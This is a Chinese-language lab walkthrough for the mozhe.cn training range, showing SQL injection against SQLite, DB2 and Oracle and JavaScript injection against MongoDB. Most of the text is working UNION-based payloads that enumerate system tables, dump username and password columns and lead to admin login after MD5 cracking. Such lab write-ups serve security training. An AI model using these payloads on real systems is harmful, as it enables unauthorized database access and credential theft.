SQLite介绍:SQLite是遵守ACID的关联式数据库管理系统,它包含在一个相对小的C库中,它是D.RichardHipp建立的公有领域项目。
靶场:https://www.mozhe.cn/bug/detail/87
SQLite手工注入方法小结:https://www.cnblogs.com/xiaozi/p/5760321.html
通常sqlite文件中会包含一个sqlite_master隐藏表
这里记录着你建表留下的记录,我们可以查看这个表名来看这些数据
打开靶场,and 1=1,and 1=2 判断注入
然后再通过order by 判断列数,发现有4列
4列配合联合查询 union select 1,2,3,4
然后我们看sqlite_master这个隐藏表,通过union select 1,name,sql,4 from sqlite_master 查询到表名和列名信息
直接构造sql语句1 union select 1,name,password,4 from WSTMart_reg limit 1 offset 1 密码md5解密进入后台
DB2数据库介绍:DB2是IBM出品的一系列关系型数据库管理系统,可在不同的操作系统平台上服务。
靶场:https://www.mozhe.cn/bug/detail/83
参考:https://blog.csdn.net/Vi_vids/article/details/115254679
首先我们需要知道这个数据库自带的信息
tabschema:数据库名 current schema:数据库名的列名
table_name:表名 tabname:表名的列名
column_name:列名的列名
sysibm.sysdummy1 记录数据库名的信息
syscat.tables:记录表名的信息
sysibm.columns:记录列名的信息
打开靶场还是 and 1=1,and 1=2判断注入,接着order by 判断列数发现有4列
接着直接联合查询构造sql语句 -1 union select 1,2,3,4 from syscat.tables
爆数据库 -1 union select 1,current schema,3,4 from sysibm.sysdummy1
爆表 -1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
爆列 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 0,1
NAME:-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 1,1
PASSWORD:-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 2,1
爆数据 union select 1,name,password,4 from GAME_CHARACTER limit 0,1
爆数据 union select 1,name,password,4 from GAME_CHARACTER limit 1,1
拿到密码直接MD5解密进入后台
Oracle数据库简介:Oracle Database,又名Oracle RDBMS,简称Oracle。是甲骨文公司的一款关系数据库管理系统。
靶场:https://www.mozhe.cn/bug/detail/85
Oracle注入总结:https://www.cnblogs.com/peterpan0707007/p/8242119.html
Oracle注入详解:https://blog.csdn.net/qq_35569814/article/details/100517122
all_tables 查询出所有的表
user_tables 查询出当前用户的表
all_tab_columns 查询出所有的字段
user_tab_columns 查询出当前用户的字段
还是通过and 1=1 ,and 1=2 判断注入,然后通过order by 判断有2列
然后构造sql语句,首先dual表,此表是Oracle数据库中的一个自带表,union select ‘null’,null… from dual 返回正常,说明第一个字段是字符型,反之为数字型,最后sql语句 union select ‘null’,‘null’ from dual
所以这两个字段位字符型,爆当前数据库中的第一个表 union select (select table_name from user_tables where rownum=1),‘null’ from dual
第一个表名为LOGMNR_SESSION_EVOLVE$,爆出第二个表名
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'null' from dual
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$',' ')),'null' from dual
后续这样以此类推
第二次方法 like+通配符匹配 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual
爆表中的第一个字段:union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual
爆表中的第二个字段:union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in ‘USER_NAME’) from dual
也可以用like+通配符 union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name like ‘%U%’) from dual
获取指定表名列名数据 union select user_name,user_pwd from “sns_users”
然后再查询user_name<>‘hu’ sql语句 union select user_name,user_pwd from “sns_users” where user_name<>‘hu’ 或者直接指定用户名 union select user_name,user_pwd from “sns_users” where user_name=‘mozhe’
密码md5解密进入后台
MongoDB数据库简介:MongoDB是一个基于分布式文件存储的数据库,由C++语言编写,旨在为Web应用提供可扩展的高性能数据存储解决方案。
参考:https://www.runoob.com/mongodb/mongodb-insert.html
$query="var data = db.notice.findOne({'id':'$id'}); return data;"
如果传入参数 order by 4
$query="var data = db.notice.findOne({'id':'order by 4'}); return data;"
仔细看内个order by 在单引号里面,在mysql里面
select * from news where id =1
注入的时候
select * from news where id =1 order by 4
假如语句变换成
select * from news where id ='1'
那么注入的时候
select * from news where id =’1 order by 4‘
这时候注入代码 order by 4 => 字符串查询条件,作用就丧失了
所以在注入的时候要进行闭合构造sql语句如下
'}); return ({title:1,content:'2
原有语句拼接后
$query="var data = db.notice.findOne({'id':'$id'}); return data;"
$query="var data = db.notice.findOne({'id':'1'}); return data;"
$query="var data = db.notice.findOne({'id':'1'}); return ({title:1,content:'2'}); return data;"
那么’title‘、’content‘ 是根据代码上输出变量$obj
,变量$obj
是执行完sql语句 $obj=$db->execute($query)
返回的结果,’title‘、’content‘ 为列名
最终获取回显数字结果 new_list.php?id=1’}); return ({title:1,content:'2
爆库,db返回的是数组,库名,需要用tojson转换为字符串,原因如下
https://www.anquanke.com/post/id/83763
最终sql语句 '}); return ({title:tojson(db),content:'2
数据库:mozhe_cms_Authority 接着获取表名,db.getCollectionNames()//获取表名,构造sql语句 '}); return ({title:tojson(db.getCollectionNames()),content:'2
爆列、数据,db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据,sql语句 '}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
参考mongodb常用的sql语句总结:https://www.cnblogs.com/zjdxr-up/p/10698505.html
通过[0-1]控制数据 '}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1